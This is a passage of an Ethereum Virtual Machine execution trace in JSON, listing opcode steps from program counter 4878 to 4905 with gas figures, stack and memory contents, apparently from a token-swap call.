0000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4878,"op":"SUB","gas":106243,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x10000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4879,"op":"AND","gas":106240,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0xffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4880,"op":"SWAP2","gas":106237,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4881,"op":"POP","gas":106234,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4882,"op":"PUSH1","gas":106232,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4884,"op":"DUP1","gas":106229,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4885,"op":"DUP6","gas":106226,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4886,"op":"PUSH1","gas":106223,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4888,"op":"PUSH1","gas":106220,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4890,"op":"PUSH1","gas":106217,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4892,"op":"SHL","gas":106214,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4893,"op":"SUB","gas":106211,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4894,"op":"AND","gas":106208,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4895,"op":"DUP8","gas":106205,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4896,"op":"PUSH1","gas":106202,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4898,"op":"PUSH1","gas":106199,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4900,"op":"PUSH1","gas":106196,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4902,"op":"SHL","gas":106193,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4903,"op":"SUB","gas":106190,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4904,"op":"AND","gas":106187,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4905,"op":"LT","gas":106184,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf